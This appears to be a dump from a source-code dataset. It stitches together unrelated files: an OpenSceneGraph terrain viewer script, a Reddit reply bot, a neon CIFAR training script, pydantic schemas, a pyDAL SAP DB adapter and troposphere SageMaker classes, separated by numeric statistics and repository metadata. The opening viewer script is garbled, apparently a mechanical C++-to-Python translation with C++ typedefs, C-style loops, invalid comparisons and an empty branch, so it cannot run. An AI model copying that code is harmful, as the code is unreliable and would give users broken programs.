_layer(layer) def handle(ea, aa): if not _layer : return False scale = 1.2 switch(ea.getEventType()) case(osgGA.GUIEventAdapter.KEYDOWN): if ea.getKey() == ord("q") : _layer.transform(0.0, scale) return True elif ea.getKey() == ord("a") : _layer.transform(0.0, 1.0/scale) return True break default: break return False _layer = osg.observer_ptr<osgTerrain.Layer>() def main(argv): arguments = osg.ArgumentParser(argv) # construct the viewer. viewer = osgViewer.Viewer(arguments) # set up the camera manipulators. keyswitchManipulator = osgGA.KeySwitchMatrixManipulator() keyswitchManipulator.addMatrixManipulator( ord("1"), "Trackball", osgGA.TrackballManipulator() ) keyswitchManipulator.addMatrixManipulator( ord("2"), "Flight", osgGA.FlightManipulator() ) keyswitchManipulator.addMatrixManipulator( ord("3"), "Drive", osgGA.DriveManipulator() ) keyswitchManipulator.addMatrixManipulator( ord("4"), "Terrain", osgGA.TerrainManipulator() ) pathfile = str() keyForAnimationPath = ord("5") while arguments.read("-p",pathfile) : apm = osgGA.AnimationPathManipulator(pathfile) if apm or not apm.valid() : num = keyswitchManipulator.getNumMatrixManipulators() keyswitchManipulator.addMatrixManipulator( keyForAnimationPath, "Path", apm ) keyswitchManipulator.selectMatrixManipulator(num) ++keyForAnimationPath viewer.setCameraManipulator( keyswitchManipulator ) # add the state manipulator viewer.addEventHandler( osgGA.StateSetManipulator(viewer.getCamera().getOrCreateStateSet()) ) # add the stats handler viewer.addEventHandler(osgViewer.StatsHandler)() # add the record camera path handler viewer.addEventHandler(osgViewer.RecordCameraPathHandler)() # attach an IncrementaCompileOperation to allow the master loading # to be handled with an incremental compile to avoid frame drops when large objects are added. viewer.setIncrementalCompileOperation(osgUtil.IncrementalCompileOperation()) x = 0.0 y = 0.0 w = 1.0 h = 1.0 numLoadThreads = 1 while arguments.read("--load-threads",numLoadThreads) : masterOperation = MasterOperation() masterFilename = str() while arguments.read("-m",masterFilename) : masterOperation = MasterOperation(masterFilename, viewer.getIncrementalCompileOperation()) terrainTile = osgTerrain.TerrainTile() locator = osgTerrain.Locator() validDataOperator = osgTerrain.NoDataValue(0.0) lastAppliedLayer = osgTerrain.Layer() locator.setCoordinateSystemType(osgTerrain.Locator.GEOCENTRIC) locator.setTransformAsExtents(-osg.PI, -osg.PI*0.5, osg.PI, osg.PI*0.5) layerNum = 0 filterName = str() filter = osg.Texture.LINEAR float minValue, maxValue scale = 1.0 offset = 0.0 pos = 1 while pos<arguments.argc() : filename = str() if arguments.read(pos, "--layer",layerNum) : osg.notify(osg.NOTICE), "Set layer number to ", layerNum elif arguments.read(pos, "-b") : terrainTile.setTreatBoundariesToValidDataAsDefaultValue(True) elif arguments.read(pos, "-e",x,y,w,h) : # define the extents. locator.setCoordinateSystemType(osgTerrain.Locator.GEOCENTRIC) locator.setTransformAsExtents(x,y,x+w,y+h) elif arguments.read(pos, "--transform",offset, scale) or arguments.read(pos, "-t",offset, scale) : # define the extents. elif arguments.read(pos, "--cartesian",x,y,w,h) : # define the extents. locator.setCoordinateSystemType(osgTerrain.Locator.PROJECTED) locator.setTransformAsExtents(x,y,x+w,y+h) elif arguments.read(pos, "--hf",filename) : osg.notify(osg.NOTICE), "--hf ", filename hf = osgDB.readHeightFieldFile(filename) if hf.valid() : hfl = osgTerrain.HeightFieldLayer() hfl.setHeightField(hf) hfl.setLocator(locator) hfl.setValidDataOperator(validDataOperator) hfl.setMagFilter(filter) if offset not =0.0 or scale not =1.0 : hfl.transform(offset,scale) terrainTile.setElevationLayer(hfl) lastAppliedLayer = hfl osg.notify(osg.NOTICE), "created osgTerrain.HeightFieldLayer" else: osg.notify(osg.NOTICE), "failed to create osgTerrain.HeightFieldLayer" scale = 1.0 offset = 0.0 elif arguments.read(pos, "-d",filename) or arguments.read(pos, "--elevation-image",filename) : osg.notify(osg.NOTICE), "--elevation-image ", filename image = osgDB.readImageFile(filename) if image.valid() : imageLayer = osgTerrain.ImageLayer() imageLayer.setImage(image) imageLayer.setLocator(locator) imageLayer.setValidDataOperator(validDataOperator) imageLayer.setMagFilter(filter) if offset not =0.0 or scale not =1.0 : imageLayer.transform(offset,scale) terrainTile.setElevationLayer(imageLayer) lastAppliedLayer = imageLayer osg.notify(osg.NOTICE), "created Elevation osgTerrain.ImageLayer" else: osg.notify(osg.NOTICE), "failed to create osgTerrain.ImageLayer" scale = 1.0 offset = 0.0 elif arguments.read(pos, "-c",filename) or arguments.read(pos, "--image",filename) : osg.notify(osg.NOTICE), "--image ", filename, " x=", x, " y=", y, " w=", w, " h=", h image = osgDB.readImageFile(filename) if image.valid() : imageLayer = osgTerrain.ImageLayer() imageLayer.setImage(image) imageLayer.setLocator(locator) imageLayer.setValidDataOperator(validDataOperator) imageLayer.setMagFilter(filter) if offset not =0.0 or scale not =1.0 : imageLayer.transform(offset,scale) terrainTile.setColorLayer(layerNum, imageLayer) lastAppliedLayer = imageLayer osg.notify(osg.NOTICE), "created Color osgTerrain.ImageLayer" else: osg.notify(osg.NOTICE), "failed to create osgTerrain.ImageLayer" scale = 1.0 offset = 0.0 elif arguments.read(pos, "--filter",filterName) : if filterName=="NEAREST" : osg.notify(osg.NOTICE), "--filter ", filterName filter = osg.Texture.NEAREST elif filterName=="LINEAR" : filter = osg.Texture.LINEAR osg.notify(osg.NOTICE), "--filter ", filterName else: osg.notify(osg.NOTICE), "--filter ", filterName, " unrecognized filter name, please use LINEAER or NEAREST." if terrainTile.getColorLayer(layerNum) : terrainTile.getColorLayer(layerNum).setMagFilter(filter) elif arguments.read(pos, "--tf",minValue, maxValue) : tf = osg.TransferFunction1D() numCells = 6 delta = (maxValue-minValue)/float(numCells-1) v = minValue tf.allocate(6) tf.setColor(v, osg.Vec4(1.0,1.0,1.0,1.0)) v += delta tf.setColor(v, osg.Vec4(1.0,0.0,1.0,1.0)) v += delta tf.setColor(v, osg.Vec4(1.0,0.0,0.0,1.0)) v += delta tf.setColor(v, osg.Vec4(1.0,1.0,0.0,1.0)) v += delta tf.setColor(v, osg.Vec4(0.0,1.0,1.0,1.0)) v += delta tf.setColor(v, osg.Vec4(0.0,1.0,0.0,1.0)) osg.notify(osg.NOTICE), "--tf ", minValue, " ", maxValue terrainTile.setColorLayer(layerNum, osgTerrain.ContourLayer(tf)) else: ++pos scene = osg.Group() if terrainTile.valid() and (terrainTile.getElevationLayer() or terrainTile.getColorLayer(0)) : osg.notify(osg.NOTICE), "Terrain created" scene.addChild(terrainTile) geometryTechnique = osgTerrain.GeometryTechnique() terrainTile.setTerrainTechnique(geometryTechnique) viewer.addEventHandler(FilterHandler(geometryTechnique)) viewer.addEventHandler(LayerHandler(lastAppliedLayer)) if masterOperation.valid() : osg.notify(osg.NOTICE), "Master operation created" masterOperation.open(scene) if scene.getNumChildren()==0 : osg.notify(osg.NOTICE), "No model created, please specify terrain or master file on command line." return 0 viewer.setSceneData(scene) # start operation thread if a master file has been used. masterOperationThread = osg.OperationThread() typedef std.list< osg.OperationThread > OperationThreadList generalThreadList = OperationThreadList() if masterOperation.valid() : masterOperationThread = osg.OperationThread() masterOperationThread.startThread() masterOperationThread.add(masterOperation) # if numLoadThreads>0 : operationQueue = osg.OperationQueue() masterOperation.setOperationQueue(operationQueue) for(unsigned int i=0 i<numLoadThreads ++i) thread = osg.OperationThread() thread.setOperationQueue(operationQueue) thread.startThread() generalThreadList.push_back(thread) viewer.addUpdateOperation(masterOperation) viewer.setThreadingModel(osgViewer.Viewer.SingleThreaded) # enable the use of compile contexts and associated threads. # osg.DisplaySettings.instance().setCompileContextsHint(True) # realize the graphics windows. viewer.realize() # run the viewers main loop return viewer.run() if __name__ == "__main__": main(sys.argv)

34.661458

130

0.598911

2,423

26,620

6.526207

0.215848

0.024474

0.032631

0.048947

0.273509

0.222665

0.174856

0.156707

0.148991

0.144818

0

0.007858

0.306837

26,620

767

131

34.706649

0.849122

0

0.294521

0

0.045928

0.009662

0

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0

0.020548

null

0

null

0

null

0

1

0

1

482697dcf4d097846528ae15ee8dbca33b6e86d7

525

py

Python

splunge.py

neilebliss/reddit_bot

74be4b57ddbdf9fe0d9876207388ee2778b4a50d

[ "Unlicense" ]

null

splunge.py

neilebliss/reddit_bot

74be4b57ddbdf9fe0d9876207388ee2778b4a50d

[ "Unlicense" ]

null

splunge.py

neilebliss/reddit_bot

74be4b57ddbdf9fe0d9876207388ee2778b4a50d

[ "Unlicense" ]

null

import praw import re import os reddit = praw.Reddit('Splunge Bot v1', client_id=os.environ['REDDIT_CLIENT_ID'], client_secret=os.environ['REDDIT_CLIENT_SECRET'], password=os.environ['REDDIT_PASSWORD'], username=os.environ['REDDIT_USERNAME']) subreddit = reddit.subreddit('tubasaur') for submission in subreddit.new(limit=5): for top_level_comment in submission.comments: if re.search('splunge', top_level_comment.body, re.IGNORECASE): top_level_comment.reply("Well, yeah, splunge for me too!") print("Splunged.")

40.384615

210

0.775238

76

525

5.171053

0.486842

0.091603

0.152672

0.10687

0

0.004193

0.091429

525

12

211

43.75

0.819707

0

0.257634

0

1

0

false

0.1

0.3

0

0.3

0.1

0

null

0

null

0

1

0

1

482da58116dfb913fbea2c87dc9df1955becba11

3,528

py

Python

code/a_train_generalist.py

seba-1511/specialists

9888e639707142db80aafe6ae7bf25f572d34505

[ "Apache-2.0" ]

1

2016-05-31T07:54:31.000Z

code/a_train_generalist.py

seba-1511/specialists

9888e639707142db80aafe6ae7bf25f572d34505

[ "Apache-2.0" ]

null

code/a_train_generalist.py

seba-1511/specialists

9888e639707142db80aafe6ae7bf25f572d34505

[ "Apache-2.0" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- """ This file is an experiment that will train a specified generalist network. """ import random import numpy as np from neon.backends import gen_backend from neon.data import DataIterator, load_cifar10 from neon.transforms.cost import Misclassification from neon.callbacks.callbacks import Callbacks from neon.util.argparser import NeonArgparser from neon.util.persist import save_obj from keras.datasets import cifar100 from cifar_net import get_custom_vgg # parse the command line arguments parser = NeonArgparser(__doc__) args = parser.parse_args() DATASET_NAME = 'cifar100' EXPERIMENT_DIR = 'experiments/' + DATASET_NAME + '/' VALIDATION = True def split_train_set(X_train, y_train): return (X_train[:-5000], y_train[:-5000]), (X_train[-5000:], y_train[-5000:]) def load_data(name): if name == 'cifar10': (X_train, y_train), (X_test, y_test), nout = load_cifar10(path=args.data_dir) nout = 16 elif name == 'cifar100': (X_train, y_train), (X_test, y_test) = cifar100.load_data(label_mode='fine') X_train = X_train.reshape(50000, 3072) X_test = X_test.reshape(10000, 3072) nout = 128 elif name == 'svhn': from scipy.io import loadmat train = loadmat('../data/svhm_train.mat') test = loadmat('../data/svhn_test.mat') (X_train, y_train), (X_test, y_test) = (train['X'], train['y']), (test['X'], test['y']) s = X_train.shape X_train = X_train.reshape(-1, s[-1]).transpose() s = X_test.shape X_test = X_test.reshape(-1, s[-1]).transpose() temp = np.empty(X_train.shape, dtype=np.uint) np.copyto(temp, X_train) X_train = temp temp = np.empty(X_test.shape, dtype=np.uint) np.copyto(temp, X_test) X_test = temp nout = 16 return (X_train, y_train), (X_test, y_test), nout if __name__ == '__main__': # hyperparameters batch_size = 64 num_epochs = args.epochs num_epochs = 74 if num_epochs == 10 else num_epochs rng_seed = 1234 np.random.seed(rng_seed) random.seed(rng_seed) # setup backend be = gen_backend( backend=args.backend, batch_size=batch_size, rng_seed=rng_seed, device_id=args.device_id, default_dtype=args.datatype, ) (X_train, y_train), (X_test, y_test), nout = load_data(DATASET_NAME) if VALIDATION: (X_train, y_train), (X_valid, y_valid) = split_train_set(X_train, y_train) model, opt, cost = get_custom_vgg(nout=nout) train_set = DataIterator(X_train, y_train, nclass=nout, lshape=(3, 32, 32)) test_set = DataIterator(X_test, y_test, nclass=nout, lshape=(3, 32, 32)) callbacks = Callbacks(model, train_set, args, eval_set=test_set) if VALIDATION: valid_set = DataIterator(X_valid, y_valid, nclass=nout, lshape=(3, 32, 32)) callbacks = Callbacks(model, train_set, args, eval_set=valid_set) model.fit(train_set, optimizer=opt, num_epochs=num_epochs, cost=cost, callbacks=callbacks) print 'Validation: ', VALIDATION print 'Train misclassification error: ', model.eval(train_set, metric=Misclassification()) if VALIDATION: print 'Valid misclassification error: ', model.eval(valid_set, metric=Misclassification()) print 'Test misclassification error: ', model.eval(test_set, metric=Misclassification()) if args.save_path is not None: save_obj(model.serialize(), EXPERIMENT_DIR + args.save_path)

33.283019

98

0.67602

505

3,528

4.473267

0.269307

0.053121

0.030987

0.047809

0.236388

0.188136

0.161133

0.139

0.093847

0.082337

0

0.031628

0.202381

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105

99

33.6

0.771144

0.029762

0

0.066667

0

0.06087

0.012894

0

null

0

0.146667

null

0.053333

0

null

0

null

0

1

0

1

4834a12f8b0a1adc974a9695986c5da1d9c04010

603

py

Python

repost/api/schemas/user.py

pckv/fastapi-backend

0f561528086ac3fdcabbf9efeac888421eeb66de

[ "MIT" ]

9

2020-02-03T11:17:06.000Z

2021-06-15T13:20:34.000Z

repost/api/schemas/user.py

pckv/fastapi-backend

0f561528086ac3fdcabbf9efeac888421eeb66de

[ "MIT" ]

40

2020-02-03T11:23:59.000Z

2020-05-19T08:05:41.000Z

repost/api/schemas/user.py

pckv/fastapi-backend

0f561528086ac3fdcabbf9efeac888421eeb66de

[ "MIT" ]

1

2020-03-11T02:47:40.000Z

"""API schemas for users.""" from datetime import datetime from typing import Optional from pydantic import BaseModel class User(BaseModel): """Schema for a user account""" username: str bio: Optional[str] avatar_url: Optional[str] created: datetime edited: Optional[datetime] class Config: orm_mode = True class CreateUser(BaseModel): """Schema for creating a new user account""" username: str password: str class EditUser(BaseModel): """Schema for editing a user account""" bio: Optional[str] = None avatar_url: Optional[str] = None

20.1

48

0.681592

75

603

5.44

0.453333

0.107843

0.132353

0.107843

0

0.223881

603

29

49

20.793103

0.871795

0.200663

0

0.117647

0

1

0

false

0.058824

0.176471

0

0.941176

0

null

0

null

0

1

0

1

483592e4049e6951c186723536311a58d0a2c2a3

1,459

py

Python

gluon/packages/dal/pydal/adapters/sap.py

GeorgesBrantley/ResistanceGame

65ec925ec8399af355e176c4814a749fde5f907d

[ "BSD-3-Clause" ]

408

2015-01-01T10:31:47.000Z

2022-03-26T17:41:21.000Z

gluon/packages/dal/pydal/adapters/sap.py

GeorgesBrantley/ResistanceGame

65ec925ec8399af355e176c4814a749fde5f907d

[ "BSD-3-Clause" ]

521

2015-01-08T14:45:54.000Z

2022-03-24T11:15:22.000Z

gluon/packages/dal/pydal/adapters/sap.py

GeorgesBrantley/ResistanceGame

65ec925ec8399af355e176c4814a749fde5f907d

[ "BSD-3-Clause" ]

158

2015-01-25T20:02:00.000Z

2022-03-01T06:29:12.000Z

import re from .._compat import integer_types, long from .base import SQLAdapter from . import adapters @adapters.register_for("sapdb") class SAPDB(SQLAdapter): dbengine = "sapdb" drivers = ("sapdb",) REGEX_URI = ( "^(?P<user>[^:@]+)(:(?P<password>[^@]*))?" r"@(?P<host>[^:/]+|\[[^\]]+\])/(?P<db>[^?]+)$" ) def _initialize_(self): super(SAPDB, self)._initialize_() ruri = self.uri.split("://", 1)[1] m = re.match(self.REGEX_URI, ruri) if not m: raise SyntaxError("Invalid URI string in DAL") user = self.credential_decoder(m.group("user")) password = self.credential_decoder(m.group("password")) if password is None: password = "" host = m.group("host") db = m.group("db") self.driver_args.update(user=user, password=password, database=db, host=host) def connector(self): self.driver.connect(**self.driver_args) def lastrowid(self, table): self.execute("select %s.NEXTVAL from dual" % table._sequence_name) return long(self.cursor.fetchone()[0]) def create_sequence_and_triggers(self, query, table, **args): self.execute("CREATE SEQUENCE %s;" % table._sequence_name) self.execute( "ALTER TABLE %s ALTER COLUMN %s SET DEFAULT NEXTVAL('%s');" % (table._rname, table._id._rname, table._sequence_name) ) self.execute(query)

32.422222

85

0.592186

175

1,459

4.794286

0.428571

0.028605

0.060787

0.052443

0.131108

0

0.002712

0.241947

1,459

44

86

33.159091

0.755877

0

0.169294

0.056888

0

1

0.108108

false

0.135135

0.108108

0

0.351351

0

null

0

null

0

1

0

1

4836dce172471538808ff516434e702497a39d34

39,841

py

Python

troposphere/sagemaker.py

filipepmo/troposphere

b1590f58ed8cc86ba18a19ed93fc9380d6f7306b

[ "BSD-2-Clause" ]

null

troposphere/sagemaker.py

filipepmo/troposphere

b1590f58ed8cc86ba18a19ed93fc9380d6f7306b

[ "BSD-2-Clause" ]

null

troposphere/sagemaker.py

filipepmo/troposphere

b1590f58ed8cc86ba18a19ed93fc9380d6f7306b

[ "BSD-2-Clause" ]

null

# Copyright (c) 2012-2022, Mark Peek <mark@peek.org> # All rights reserved. # # See LICENSE file for full license. # # *** Do not modify - this file is autogenerated *** # Resource specification version: 51.0.0 from . import AWSObject, AWSProperty, PropsDictType, Tags from .validators import boolean, double, integer class ResourceSpec(AWSProperty): """ `ResourceSpec <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-userprofile-resourcespec.html>`__ """ props: PropsDictType = { "InstanceType": (str, False), "SageMakerImageArn": (str, False), "SageMakerImageVersionArn": (str, False), } class App(AWSObject): """ `App <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-app.html>`__ """ resource_type = "AWS::SageMaker::App" props: PropsDictType = { "AppName": (str, True), "AppType": (str, True), "DomainId": (str, True), "ResourceSpec": (ResourceSpec, False), "Tags": (Tags, False), "UserProfileName": (str, True), } class FileSystemConfig(AWSProperty): """ `FileSystemConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-appimageconfig-filesystemconfig.html>`__ """ props: PropsDictType = { "DefaultGid": (integer, False), "DefaultUid": (integer, False), "MountPath": (str, False), } class KernelSpec(AWSProperty): """ `KernelSpec <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-appimageconfig-kernelspec.html>`__ """ props: PropsDictType = { "DisplayName": (str, False), "Name": (str, True), } class KernelGatewayImageConfig(AWSProperty): """ `KernelGatewayImageConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-appimageconfig-kernelgatewayimageconfig.html>`__ """ props: PropsDictType = { "FileSystemConfig": (FileSystemConfig, False), "KernelSpecs": ([KernelSpec], True), } class AppImageConfig(AWSObject): """ `AppImageConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-appimageconfig.html>`__ """ resource_type = "AWS::SageMaker::AppImageConfig" props: PropsDictType = { "AppImageConfigName": (str, True), "KernelGatewayImageConfig": (KernelGatewayImageConfig, False), "Tags": (Tags, False), } class GitConfig(AWSProperty): """ `GitConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-coderepository-gitconfig.html>`__ """ props: PropsDictType = { "Branch": (str, False), "RepositoryUrl": (str, True), "SecretArn": (str, False), } class CodeRepository(AWSObject): """ `CodeRepository <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-coderepository.html>`__ """ resource_type = "AWS::SageMaker::CodeRepository" props: PropsDictType = { "CodeRepositoryName": (str, False), "GitConfig": (GitConfig, True), "Tags": (Tags, False), } class DataQualityAppSpecification(AWSProperty): """ `DataQualityAppSpecification <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-dataqualityjobdefinition-dataqualityappspecification.html>`__ """ props: PropsDictType = { "ContainerArguments": ([str], False), "ContainerEntrypoint": ([str], False), "Environment": (dict, False), "ImageUri": (str, True), "PostAnalyticsProcessorSourceUri": (str, False), "RecordPreprocessorSourceUri": (str, False), } class ConstraintsResource(AWSProperty): """ `ConstraintsResource <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-constraintsresource.html>`__ """ props: PropsDictType = { "S3Uri": (str, False), } class StatisticsResource(AWSProperty): """ `StatisticsResource <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-statisticsresource.html>`__ """ props: PropsDictType = { "S3Uri": (str, False), } class DataQualityBaselineConfig(AWSProperty): """ `DataQualityBaselineConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-dataqualityjobdefinition-dataqualitybaselineconfig.html>`__ """ props: PropsDictType = { "BaseliningJobName": (str, False), "ConstraintsResource": (ConstraintsResource, False), "StatisticsResource": (StatisticsResource, False), } class EndpointInput(AWSProperty): """ `EndpointInput <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-endpointinput.html>`__ """ props: PropsDictType = { "EndpointName": (str, True), "LocalPath": (str, True), "S3DataDistributionType": (str, False), "S3InputMode": (str, False), } class DataQualityJobInput(AWSProperty): """ `DataQualityJobInput <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-dataqualityjobdefinition-dataqualityjobinput.html>`__ """ props: PropsDictType = { "EndpointInput": (EndpointInput, True), } class S3Output(AWSProperty): """ `S3Output <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-s3output.html>`__ """ props: PropsDictType = { "LocalPath": (str, True), "S3UploadMode": (str, False), "S3Uri": (str, True), } class MonitoringOutput(AWSProperty): """ `MonitoringOutput <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-monitoringoutput.html>`__ """ props: PropsDictType = { "S3Output": (S3Output, True), } class MonitoringOutputConfig(AWSProperty): """ `MonitoringOutputConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-monitoringoutputconfig.html>`__ """ props: PropsDictType = { "KmsKeyId": (str, False), "MonitoringOutputs": ([MonitoringOutput], True), } class ClusterConfig(AWSProperty): """ `ClusterConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-clusterconfig.html>`__ """ props: PropsDictType = { "InstanceCount": (integer, True), "InstanceType": (str, True), "VolumeKmsKeyId": (str, False), "VolumeSizeInGB": (integer, True), } class MonitoringResources(AWSProperty): """ `MonitoringResources <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-monitoringresources.html>`__ """ props: PropsDictType = { "ClusterConfig": (ClusterConfig, True), } class VpcConfig(AWSProperty): """ `VpcConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-vpcconfig.html>`__ """ props: PropsDictType = { "SecurityGroupIds": ([str], True), "Subnets": ([str], True), } class NetworkConfig(AWSProperty): """ `NetworkConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-networkconfig.html>`__ """ props: PropsDictType = { "EnableInterContainerTrafficEncryption": (boolean, False), "EnableNetworkIsolation": (boolean, False), "VpcConfig": (VpcConfig, False), } class StoppingCondition(AWSProperty): """ `StoppingCondition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-monitoringschedule-stoppingcondition.html>`__ """ props: PropsDictType = { "MaxRuntimeInSeconds": (integer, True), } class DataQualityJobDefinition(AWSObject): """ `DataQualityJobDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-dataqualityjobdefinition.html>`__ """ resource_type = "AWS::SageMaker::DataQualityJobDefinition" props: PropsDictType = { "DataQualityAppSpecification": (DataQualityAppSpecification, True), "DataQualityBaselineConfig": (DataQualityBaselineConfig, False), "DataQualityJobInput": (DataQualityJobInput, True), "DataQualityJobOutputConfig": (MonitoringOutputConfig, True), "JobDefinitionName": (str, False), "JobResources": (MonitoringResources, True), "NetworkConfig": (NetworkConfig, False), "RoleArn": (str, True), "StoppingCondition": (StoppingCondition, False), "Tags": (Tags, False), } class DeviceProperty(AWSProperty): """ `DeviceProperty <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-device-device.html>`__ """ props: PropsDictType = { "Description": (str, False), "DeviceName": (str, True), "IotThingName": (str, False), } class Device(AWSObject): """ `Device <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-device.html>`__ """ resource_type = "AWS::SageMaker::Device" props: PropsDictType = { "Device": (DeviceProperty, False), "DeviceFleetName": (str, True), "Tags": (Tags, False), } class EdgeOutputConfig(AWSProperty): """ `EdgeOutputConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-devicefleet-edgeoutputconfig.html>`__ """ props: PropsDictType = { "KmsKeyId": (str, False), "S3OutputLocation": (str, True), } class DeviceFleet(AWSObject): """ `DeviceFleet <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-devicefleet.html>`__ """ resource_type = "AWS::SageMaker::DeviceFleet" props: PropsDictType = { "Description": (str, False), "DeviceFleetName": (str, True), "OutputConfig": (EdgeOutputConfig, True), "RoleArn": (str, True), "Tags": (Tags, False), } class JupyterServerAppSettings(AWSProperty): """ `JupyterServerAppSettings <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-userprofile-jupyterserverappsettings.html>`__ """ props: PropsDictType = { "DefaultResourceSpec": (ResourceSpec, False), } class CustomImage(AWSProperty): """ `CustomImage <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-userprofile-customimage.html>`__ """ props: PropsDictType = { "AppImageConfigName": (str, True), "ImageName": (str, True), "ImageVersionNumber": (integer, False), } class KernelGatewayAppSettings(AWSProperty): """ `KernelGatewayAppSettings <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-userprofile-kernelgatewayappsettings.html>`__ """ props: PropsDictType = { "CustomImages": ([CustomImage], False), "DefaultResourceSpec": (ResourceSpec, False), } class SharingSettings(AWSProperty): """ `SharingSettings <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-userprofile-sharingsettings.html>`__ """ props: PropsDictType = { "NotebookOutputOption": (str, False), "S3KmsKeyId": (str, False), "S3OutputPath": (str, False), } class UserSettings(AWSProperty): """ `UserSettings <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-userprofile-usersettings.html>`__ """ props: PropsDictType = { "ExecutionRole": (str, False), "JupyterServerAppSettings": (JupyterServerAppSettings, False), "KernelGatewayAppSettings": (KernelGatewayAppSettings, False), "SecurityGroups": ([str], False), "SharingSettings": (SharingSettings, False), } class Domain(AWSObject): """ `Domain <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-domain.html>`__ """ resource_type = "AWS::SageMaker::Domain" props: PropsDictType = { "AppNetworkAccessType": (str, False), "AuthMode": (str, True), "DefaultUserSettings": (UserSettings, True), "DomainName": (str, True), "KmsKeyId": (str, False), "SubnetIds": ([str], True), "Tags": (Tags, False), "VpcId": (str, True), } class Alarm(AWSProperty): """ `Alarm <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpoint-alarm.html>`__ """ props: PropsDictType = { "AlarmName": (str, True), } class AutoRollbackConfig(AWSProperty): """ `AutoRollbackConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpoint-autorollbackconfig.html>`__ """ props: PropsDictType = { "Alarms": ([Alarm], True), } class CapacitySize(AWSProperty): """ `CapacitySize <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpoint-capacitysize.html>`__ """ props: PropsDictType = { "Type": (str, True), "Value": (integer, True), } class TrafficRoutingConfig(AWSProperty): """ `TrafficRoutingConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpoint-trafficroutingconfig.html>`__ """ props: PropsDictType = { "CanarySize": (CapacitySize, False), "LinearStepSize": (CapacitySize, False), "Type": (str, True), "WaitIntervalInSeconds": (integer, False), } class BlueGreenUpdatePolicy(AWSProperty): """ `BlueGreenUpdatePolicy <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpoint-bluegreenupdatepolicy.html>`__ """ props: PropsDictType = { "MaximumExecutionTimeoutInSeconds": (integer, False), "TerminationWaitInSeconds": (integer, False), "TrafficRoutingConfiguration": (TrafficRoutingConfig, True), } class DeploymentConfig(AWSProperty): """ `DeploymentConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpoint-deploymentconfig.html>`__ """ props: PropsDictType = { "AutoRollbackConfiguration": (AutoRollbackConfig, False), "BlueGreenUpdatePolicy": (BlueGreenUpdatePolicy, True), } class VariantProperty(AWSProperty): """ `VariantProperty <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpoint-variantproperty.html>`__ """ props: PropsDictType = { "VariantPropertyType": (str, False), } class Endpoint(AWSObject): """ `Endpoint <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-sagemaker-endpoint.html>`__ """ resource_type = "AWS::SageMaker::Endpoint" props: PropsDictType = { "DeploymentConfig": (DeploymentConfig, False), "EndpointConfigName": (str, True), "EndpointName": (str, False), "ExcludeRetainedVariantProperties": ([VariantProperty], False), "RetainAllVariantProperties": (boolean, False), "RetainDeploymentConfig": (boolean, False), "Tags": (Tags, False), } class AsyncInferenceClientConfig(AWSProperty): """ `AsyncInferenceClientConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-sagemaker-endpointconfig-asyncinferenceclientconfig.html>`__ """ props: 